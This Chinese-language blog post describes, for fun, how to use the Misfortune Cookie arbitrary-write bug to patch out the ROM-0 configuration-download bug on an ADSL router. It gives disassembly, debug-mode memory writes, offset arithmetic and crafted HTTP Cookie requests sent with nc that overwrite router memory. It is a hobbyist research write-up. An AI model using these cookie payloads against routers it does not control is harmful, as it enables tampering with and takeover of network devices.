这篇文章只是为了好玩,特别是给那些喜欢调整系统的嵌入式黑客们。所以这不是一个正当的修复ROM-0 Bug的手段,好玩的是通过一个bug来修复另外一个bug。让我们开>始寻找我们的乐趣。正如我一篇文章《Misfortune Cookie解密》所写,我们可以在任意地址写入任意数据。

除了解锁路由,这也有可能为ROM-0 bug打上补丁>。在这之前,让我们先仔细来看看misfortune  cookie bug中对数据格式的覆盖。让我们回到代码段:

ROM:8010E5B0 loc_8010E5B0:                            # CODE XREF: sub_8010E574+EC j
ROM:8010E5B0                 li      $t7, 0x43        # 0x43='C'
ROM:8010E5B4                 bne     $v0, $t7, loc_8010E618
ROM:8010E5B8                 li      $a1, 0x3D
ROM:8010E5BC                 addiu   $s0, 1
ROM:8010E5C0                 move    $a0, $s0
ROM:8010E5C4                 jal     sub_8016C340
ROM:8010E5C8                 nop
ROM:8010E5CC                 move    $a0, $s0
ROM:8010E5D0                 move    $s1, $v0
ROM:8010E5D4                 addiu   $s1, 1
ROM:8010E5D8                 jal     sub_801F2E74
ROM:8010E5DC                 sb      $zero, -1($s1)
ROM:8010E5E0                 move    $a0, $s1
ROM:8010E5E4                 jal     sub_8016CA24
ROM:8010E5E8                 move    $s3, $v0
ROM:8010E5EC                 li      $a2, 0x28
ROM:8010E5F0                 mul     $t2, $s3, $a2
ROM:8010E5F4                 move    $a1, $s1
ROM:8010E5F8                 addiu   $t5, $s4, 0x6B28
ROM:8010E5FC                 move    $s0, $v0
ROM:8010E600                 addu    $at, $s1, $s0
ROM:8010E604                 addu    $a0, $t5, $t2
ROM:8010E608                 jal     sub_8016A784
ROM:8010E60C                 sb      $zero, 0($at)
ROM:8010E610                 j       loc_8010E644
ROM:8010E614                 addu    $s0, $s1, $s0
ROM:8010E618  # ---------------------------------------------------------------------------

ROM:8010E608 是 strncpy()函数的地址, 在这之后, 在ROM:8010E610 和ROM:8010E614, 我们设在这设了两个陷阱。如下所示:

RAS Version: 1.0.0 Build 121121 Rel.08870
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003  | 2012/05/18

Press any key to enter debug mode within 3 seconds.
...
Enter Debug Mode
ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

ERROR
ATWL 8010E610, 0280b820
OK
ATWL 8010E614, 00000008
OK
ATGO 80020000
OK
...
...
writeRomBlock(): Erase OK!
istributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
run distributePvcFakeMac!
Press ENTER to continue...

现在我们准备触发陷阱

cawan$ cat cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55  GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f  ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932  7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a  .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130   */*.Cookie: C10
0000050: 3733 3733 3838 333d 6161 0a                       7373883=aa.
cawan$ cat cawan_header | nc 192.168.1.1 80
cawan$

然后我们得到:

TLB refill exception occured!
EPC= 0x00000000
SR= 0x10000003
CR= 0x50805008
$RA= 0x80020000
Bad Virtual Address = 0x00000000
UTLB_TLBL ..\core\sys_isr.c:267 sysreset()


        $r0= 0x00000000 $at= 0x80350000 $v0= 0x00000000 $v1= 0x00000001
        $a0= 0x00000001 $a1= 0x805D7AF8 $a2= 0xFFFFFFFF $a3= 0x00000000
        $t0= 0x8001FF80 $t1= 0xFFFFFFFE $t2= 0x804A8F38 $t3= 0x804A9E47
        $t4= 0x804A9460 $t5= 0x804A8A60 $t6= 0x804A9D00 $t7= 0x00000040
        $s0= 0x804A8A60 $s1= 0x8040C114 $s2= 0x805E2BC8 $s3= 0x80042A70
        $s4= 0x00000001 $s5= 0x8000007C $s6= 0x8040E5FC $s7= 0x8040F8AC
        $t8= 0x804A9E48 $t9= 0x00000000 $k0= 0x00000000 $k1= 0x8000007C
        $gp= 0x8040F004 $sp= 0x805E2B60 $fp= 0x805E2BC8 $ra= 0x8003A3D0

...
...

让我们找个合适一点的缓冲区来开始我们对数据覆盖格式和规律的研究。看起来 0x804ED500是个好地方,如下所示:

Press any key to enter debug mode within 3 seconds.
......
Enter Debug Mode
atdu 804ed500
804ED500: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED510: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED520: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED530: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED540: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED550: 00 00 00 00 80 4E DD 68-80 10 39 90 02 0C 0B 00   .....N.h..9.....
804ED560: BE AF 00 00 00 00 08 00-47 45 54 20 2F 00 48 54   ........GET /.HT
804ED570: 54 50 2F 31 2E 31 0A 75-73 65 72 2D 61 67 65 6E   TP/1.1.user-agen
804ED580: 74 3A 20 63 75 72 6C 2F-37 2E 33 33 2E 30 0A 68   t: curl/7.33.0.h
804ED590: 6F 73 74 3A 20 31 39 32-2E 31 36 38 2E 31 2E 31   ost: 192.168.1.1
804ED5A0: 00 61 63 63 65 70 74 3A-20 2A 2F 2A 0A 63 6F 6F   .accept: */*.coo
804ED5B0: 6B 69 65 3A 20 43 31 30-37 33 37 33 38 38 33 00   kie: C107373883.
804ED5C0: 61 61 00 00 00 00 00 00-00 00 00 00 00 00 00 00   aa..............
804ED5D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED5E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED5F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

OK

从 0x804ED570 到0x804ED5B0, 这部分数据中没有Null字符存在,另外一个方面0x804ED400 也是一个好地方,如下所示:

atdu 804ed400
804ED400: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED410: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED420: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED430: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED440: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED450: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED460: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED470: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED480: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED490: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4A0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4B0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4C0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

OK

在这部分内存中,都是NULL字符。让我们放些数据在这部分内存

ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

ERROR
ATWL 8010E610, 0280b820
OK
ATWL 8010E614, 00000008
OK
ATGO 80020000
OK
...
...

通过Piotrbania [1]可知,有一个可以触发后会启用隐藏命令的的  "god mode "。隐藏命令可以让我们查看内存的分布以及编辑内存的内容,如下所示:

cawan$ cat cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55  GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f  ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932  7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a  .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3232   */*.Cookie: C22
0000050: 3032 323d 6361 7761 6e0a                            022=cawan.
cawan$ cat cawan_header | nc 192.168.1.1 80
cawan$
RAS Version: 1.0.0 Build 121121 Rel.08870
System   ID: $2.12.58.23(G04.BZ.4)3.20.7.0 20120518_V003  | 2012/05/18

Press any key to enter debug mode within 3 seconds.
.......
Enter Debug Mode
atdu 804ed400
804ED400: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED410: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED420: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED430: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED440: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED450: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED460: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED470: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED480: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED490: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4A0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4B0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4C0: 00 00 00 00 63 61 77 61-6E 00 00 00 00 00 00 00   ....cawan.......
804ED4D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED4F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

OK

哈哈哈,此时我们可以看到"cawan"字符串。接着我们试着将其放到 0x804ED570 和 0x804ED5B0的内存之间。

ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

ERROR
ATWL 8010E610, 0280b820
OK
ATWL 8010E614, 00000008
OK
ATGO 80020000
OK
...
...
cawan$ cat cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55  GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f  ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932  7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a  .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3232   */*.Cookie: C22
0000050: 3032 373d 6361 7761 6e0a                            027=cawan.
cawan$ cat cawan_header | nc 192.168.1.1 80
cawan$
Press any key to enter debug mode within 3 seconds.
......
Enter Debug Mode
atdu 804ed500
804ED500: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED510: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED520: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED530: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED540: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED550: 00 00 00 00 80 4E DD 68-80 10 39 90 02 0C 0B 00   .....N.h..9.....
804ED560: BE AF 00 00 00 00 08 00-47 45 54 20 2F 00 48 54   ........GET /.HT
804ED570: 54 50 2F 31 2E 31 0A 75-73 65 72 2D 61 67 65 6E   TP/1.1.user-agen
804ED580: 74 3A 20 63 75 72 6C 2F-37 2E 33 33 63 61 77 61   t: curl/7.33cawa
804ED590: 6E 00 74 3A 20 31 39 32-2E 31 36 38 2E 31 2E 31   n.t: 192.168.1.1
804ED5A0: 00 61 63 63 65 70 74 3A-20 2A 2F 2A 0A 63 6F 6F   .accept: */*.coo
804ED5B0: 6B 69 65 3A 20 43 32 32-30 32 37 00 63 61 77 61   kie: C22027.cawa
804ED5C0: 6E 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   n...............
804ED5D0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED5E0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................
804ED5F0: 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00   ................

OK

好了,我们可以清楚的知道,不管我们放入了什么字符串,在其结尾都会填充一个NULL字符。现在我们可以在NULL字符所在的位置创建一个NOP指令。其实这很简单,我们可以使用:

lui $s7,0x4100

其16进制的值为0x3C174100。接着我们要找出需要打补丁的地址。在IDA 上研究了一番,看起来

ROM:80102A40   jal sub_8003D630

是正确的地址。让我们试试看

ATEN1, A847D6B1
OK
ATWL 80014BC0, ac30fffc
OK
ATGR
     (Compressed)
     Version: FDATA, start: bfc85830
     Length: A94C, Checksum: DCEE
     Compressed Length: 1D79, Checksum: 01BB
Flash data is the same!!
     (Compressed)
     Version: ADSL ATU-R, start: bfc95830
     Length: 3E7004, Checksum: 3336
     Compressed Length: 122D57, Checksum: 3612

ERROR
ATWL 80102a40,00000000
OK
atgo 80020000
OK
..
..
cawan$ wget 192.168.1.1/rom-0
--2015-03-03 03:07:26--  http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-03-03 03:07:26 ERROR 404: Not Found.
cawan$

现在我们找到正确的地址.现在需要来计算misfortune cookie bug需要的地址

0x80102A40 - 0x804163D4 = 0xFFCEC66C                (Do it in Dword)

0xFFCEC66C % 0x28 = 0xC              (Do it in Qword)

不巧的是0x80102A40没有对齐到0×28。所以我们要调整一下地址来对齐,我们再试一次

0x80102A34 - 0x804163D4 = 0xFFCEC660                (Do it in Dword)

0xFFCEC660 % 0x28 = 0x0             (Do it in Qword)

现在我们对齐到了0×28,我们可以接着开始计算地址

0xFFCEC660 / 0x28 = 0x6652B5C     (Do it in Qword)

0x6652B5C = 107293532

现在可以开始创建我们的Payload。

让我们正常启动路由来测试我们的Payload。还记得我们的NOP指令吗:)在我们开始触发Payload 之前,我们先来验证一下ROM-0 bug

cawan$ wget 192.168.1.1/rom-0
--2015-03-03 03:29:11--  http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16384 (16K) [application/octet-stream]
Saving to: ‘rom-0’

100%[=======================================================================
=========================>] 16,384      14.9KB/s   in 1.1s

Last-modified header invalid -- time-stamp ignored.
2015-03-03 03:29:12 (14.9 KB/s) - ‘rom-0’ saved [16384/16384]
cawan$ cat cawan_header | xxd
0000000: 4745 5420 2f20 4854 5450 2f31 2e31 0a55  GET / HTTP/1.1.U
0000010: 7365 722d 4167 656e 743a 2063 7572 6c2f  ser-Agent: curl/
0000020: 372e 3333 2e30 0a48 6f73 743a 2031 3932  7.33.0.Host: 192
0000030: 2e31 3638 2e31 2e31 0a41 6363 6570 743a  .168.1.1.Accept:
0000040: 202a 2f2a 0a43 6f6f 6b69 653a 2043 3130   */*.Cookie: C10
0000050: 3732 3933 3533 323d 4141 4141 4141 4141  7293532=AAAAAAAA
0000060: 4141 4141 3c17 410a                                      AAAA<.A.
cawan$ wget 192.168.1.1/rom-0
--2015-03-03 03:40:32--  http://192.168.1.1/rom-0
Connecting to 192.168.1.1:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2015-03-03 03:40:32 ERROR 404: Not Found.

成功了:),寻乐之旅暂时告一段落

References:

[1] http://piotrbania.com/all/articles/tplink_patch/ 

*Evil.Team http://embedsec.systems/zh/

源链接

Hacking more

...